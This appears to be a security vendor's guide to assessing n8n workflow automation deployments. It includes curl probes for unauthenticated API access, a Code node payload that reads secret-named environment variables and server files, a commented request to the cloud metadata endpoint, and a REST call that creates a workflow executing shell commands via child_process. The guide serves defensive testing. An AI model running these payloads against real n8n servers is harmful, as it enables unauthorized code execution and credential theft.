n8n is a widely deployed open-source workflow automation platform that connects APIs, databases, and services — its self-hosted nature and powerful Code node make it a significant attack surface when misconfigured. Key security concerns: n8n instances launched without authentication (N8N_BASIC_AUTH_ACTIVE=false and no user management) allow any network client to list, create, modify, and execute workflows via the REST API; the Code node executes arbitrary JavaScript in the Node.js runtime environment with access to require(), the filesystem via fs, and outbound network connections — any authenticated user who can create or edit workflows can achieve server-side code execution; n8n stores third-party credentials (API keys, OAuth tokens, database passwords) encrypted in its internal database, but if the N8N_ENCRYPTION_KEY is weak or the database file is directly accessible, stored credentials can be decrypted; webhook endpoints created by n8n are publicly accessible at predictable paths and can be triggered to execute internal workflows with attacker-supplied data; and execution history stores the full input and output data of every workflow run, which may contain sensitive data processed by the automation. This guide covers systematic n8n security assessment.
# n8n default port: 5678
# Common deployment paths
# Check n8n health endpoint
curl -s http://n8n.example.com:5678/healthz 2>/dev/null
# Returns: {"status":"ok"}
# Check authentication status
AUTH_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
http://n8n.example.com:5678/rest/workflows 2>/dev/null)
if [ "$AUTH_STATUS" == "200" ]; then
echo "UNAUTHENTICATED: n8n accessible without credentials"
elif [ "$AUTH_STATUS" == "401" ]; then
echo "Authentication required"
fi
# Get n8n version from UI
curl -s http://n8n.example.com:5678/ 2>/dev/null | \
grep -oE 'n8n@[0-9]+\.[0-9]+\.[0-9]+' | head -1
n8n's Code node is one of the most powerful — and most dangerous — features in any workflow automation platform. It executes arbitrary JavaScript in Node.js on the n8n server, with access to the full Node.js standard library including require() for loading modules, filesystem access, and outbound network connections. Any user who can create or edit workflows has RCE capability on the n8n server.
# The Code node runs in the main Node.js process
# It can require() built-in Node.js modules
# Example Code node payload (for AUTHORIZED TESTING ONLY):
# Paste into n8n Code node to demonstrate server-side execution
const DEMO_CODE = `
// Read server environment variables (demonstrates credential exposure)
const env_vars = Object.keys(process.env).filter(k =>
k.match(/KEY|SECRET|PASSWORD|TOKEN|PASS|CREDENTIAL/i)
).map(k => k + '=' + process.env[k].substring(0, 3) + '***');
// Read a file from the server filesystem
const fs = require('fs');
const etc_hostname = fs.readFileSync('/etc/hostname', 'utf8').trim();
// Make outbound network request (demonstrates SSRF from Code node)
// const http = require('http');
// http.get('http://169.254.169.254/latest/meta-data/', ...);
return [{
json: {
server_hostname: etc_hostname,
sensitive_env_keys: env_vars,
node_version: process.version,
working_directory: process.cwd(),
}
}];
`;
# To test: create a workflow in n8n, add a Code node, paste the above
# Execute the workflow — output reveals server filesystem and env vars
# Via REST API (if unauthenticated or with credentials):
curl -s -X POST http://n8n.example.com:5678/rest/workflows \
-H "Content-Type: application/json" \
-d '{
"name": "test",
"nodes": [{
"name": "Code",
"type": "n8n-nodes-base.code",
"position": [240, 300],
"parameters": {
"jsCode": "return [{json: {result: require(\"child_process\").execSync(\"id\").toString()}}]"
},
"typeVersion": 1
}],
"connections": {},
"active": false
}' 2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
print(f'Workflow created: {d.get(\"id\",\"failed\")}')
" 2>/dev/null
N8N_BASIC_AUTH_ACTIVE=true with strong credentials or enable n8n's user management feature; n8n should never be accessible without authentication, especially on networks with any external exposureEXECUTIONS_DATA_PRUNE=true with an appropriate retention window| Security Test | Method | Risk |
|---|---|---|
| n8n accessible without authentication | GET /rest/workflows returns 200 without credentials — full workflow management access | Critical |
| Code node arbitrary JavaScript execution (RCE) | Create workflow with Code node executing require('child_process').execSync — OS command execution on n8n server | Critical |
| Stored credentials accessible via API | GET /rest/credentials — lists all credential configurations (names, types); depends on n8n version whether values are included | High |
| Execution history exposes processed sensitive data | GET /rest/executions — retrieves all past workflow execution inputs and outputs which may contain processed data | High |
| Webhook endpoints publicly accessible and triggerable | GET /webhook-test/{id} or /webhook/{id} — triggers workflow execution with attacker-supplied request data | Medium |
| Weak N8N_ENCRYPTION_KEY allows credential decryption | Obtain n8n SQLite database; attempt decryption with known weak keys — exposes all stored API keys and passwords | High |
Ironimo tests n8n deployments for unauthenticated API access allowing complete workflow management, Code node capability enabling arbitrary JavaScript execution with filesystem and network access on the n8n server, stored credential names and types exposed via the /rest/credentials endpoint, execution history containing sensitive data processed by automation workflows, publicly accessible webhook endpoints accepting attacker-controlled input into workflow execution, and n8n instances exposed directly on the internet without authentication or network boundary protection.
Start free scan